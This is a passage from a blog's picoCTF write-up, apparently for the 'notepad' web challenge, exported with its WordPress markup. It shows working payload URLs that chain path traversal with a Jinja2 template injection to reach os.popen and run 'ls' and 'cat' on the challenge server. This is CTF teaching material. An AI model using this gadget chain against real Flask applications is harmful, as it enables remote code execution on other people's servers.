fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>https:\/\/notepad.mars.picoctf.net\/templates\/errors\/cmdRce%20%7B%7Bself%5Brequest.args.i%5D%5Brequest.args.j%5D%5Brequest.args.f%5D%5Brequest.args.l%5D%5Brequest.args.m%5D%5Brequest.args.n-Fk6bSZJmyis.html<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">https:\/\/notepad.mars.picoctf.net\/templates\/errors\/cmdRce%20%7B%7Bself%5Brequest.args.i%5D%5Brequest.args.j%5D%5Brequest.args.f%5D%5Brequest.args.l%5D%5Brequest.args.m%5D%5Brequest.args.n-Fk6bSZJmyis.html<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">In my case, the value generated for the file is:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>Fk6bSZJmyis<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">Fk6bSZJmyis<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">After that, copy and paste this into the URL address bar. Change &#8220;<strong>Fk6bSZJmyis<\/strong>&#8221; with your value !<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>https:\/\/notepad.mars.picoctf.net\/?error=cmdRce%2520%257B%257Bself%255Brequest.args.i%255D%255Brequest.args.j%255D%255Brequest.args.f%255D%255Brequest.args.l%255D%255Brequest.args.m%255D%255Brequest.args.n-Fk6bSZJmyis&amp;i=_TemplateReference__context&amp;j=cycler&amp;f=__init__&amp;l=__globals__&amp;m=os&amp;n=popen&amp;cmd=ls<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">https:\/\/notepad.mars.picoctf.net\/?error<\/span><span style=\"color: #F8F8F2\">=cmdRce%2520%257B%257Bself%255Brequest.args.i%255D%255Brequest.args.j%255D%255Brequest.args.f%255D%255Brequest.args.l%255D%255Brequest.args.m%255D%255Brequest.args.n-Fk6bSZJmyis&amp;i<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">_TemplateReference__context<\/span><span style=\"color: #F8F8F2\">&amp;j<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">cycler<\/span><span style=\"color: #F8F8F2\">&amp;f<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">__init__<\/span><span style=\"color: #F8F8F2\">&amp;l<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">__globals__<\/span><span style=\"color: #F8F8F2\">&amp;m<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">os<\/span><span style=\"color: #F8F8F2\">&amp;n<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">popen<\/span><span style=\"color: #F8F8F2\">&amp;cmd<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">ls<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">The result is like that and we can see our flag file<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"952\" height=\"245\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-13.png\" alt=\"\" class=\"wp-image-321\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-13.png 952w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-13-300x77.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-13-768x198.png 768w\" sizes=\"auto, (max-width: 952px) 100vw, 952px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">All we have to do now is do a &#8220;cat flag-c8f5526c-4122-4578-96de-d7dd27193798.txt&#8221; \u2620<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>https:\/\/notepad.mars.picoctf.net\/?error=cmdRce%2520%257B%257Bself%255Brequest.args.i%255D%255Brequest.args.j%255D%255Brequest.args.f%255D%255Brequest.args.l%255D%255Brequest.args.m%255D%255Brequest.args.n-Fk6bSZJmyis&amp;i=_TemplateReference__context&amp;j=cycler&amp;f=__init__&amp;l=__globals__&amp;m=os&amp;n=popen&amp;cmd=cat%20flag-c8f5526c-4122-4578-96de-d7dd27193798.txt<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">https:\/\/notepad.mars.picoctf.net\/?error<\/span><span style=\"color: #F8F8F2\">=cmdRce%2520%257B%257Bself%255Brequest.args.i%255D%255Brequest.args.j%255D%255Brequest.args.f%255D%255Brequest.args.l%255D%255Brequest.args.m%255D%255Brequest.args.n-Fk6bSZJmyis&amp;i<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">_TemplateReference__context<\/span><span style=\"color: #F8F8F2\">&amp;j<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">cycler<\/span><span style=\"color: #F8F8F2\">&amp;f<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">__init__<\/span><span style=\"color: #F8F8F2\">&amp;l<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">__globals__<\/span><span style=\"color: #F8F8F2\">&amp;m<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">os<\/span><span style=\"color: #F8F8F2\">&amp;n<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">popen<\/span><span style=\"color: #F8F8F2\">&amp;cmd<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">cat%20flag-c8f5526c-4122-4578-96de-d7dd27193798.txt<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"952\" height=\"235\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-14.png\" alt=\"\" class=\"wp-image-322\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-14.png 952w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-14-300x74.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2025\/12\/image-14-768x190.png 768w\" sizes=\"auto, (max-width: 952px) 100vw, 952px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In this article, we walked through the inner workings of the Flask application, dissected how URL encoding and double encoding affect both filesystem and routing behavior. By chaining path traversal with a Server-Side Template Injection (SSTI), we demonstrated how what initially looks like a harmless file-creation feature can ultimately be escalated into full remote code execution.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This challenge is a great reminder that real world vulnerabilities are rarely caused by a single mistake. Instead, they emerge from <strong>small mistakes made at different layers<\/strong>, when combined, open the door to powerful exploits.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I hope this write-up helped clarify not only <em>how<\/em> the exploit works, but <em>why<\/em> it works. Thanks for reading, and see you in the next article for another deep dive into web security and CTF challenges.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Introduction: Hi Hackers, It\u2019s been a minute\u2026 hmm, actually, more like a year or so, but who\u2019s remembering? My blog has been sitting here collecting dust as f**k like an old book you swear you\u2019ll read it tomorrow. Well, today\u2019s is the day and I&#8217;ve got a new article for [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":302,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[13,11],"class_list":["post-301","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized","tag-ctfs","tag-hacking"],"_links":{"self":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts\/301","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=301"}],"version-history":[{"count":8,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts\/301\/revisions"}],"predecessor-version":[{"id":329,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts\/301\/revisions\/329"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/media\/302"}],"wp:attachment":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=301"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=301"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=301"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}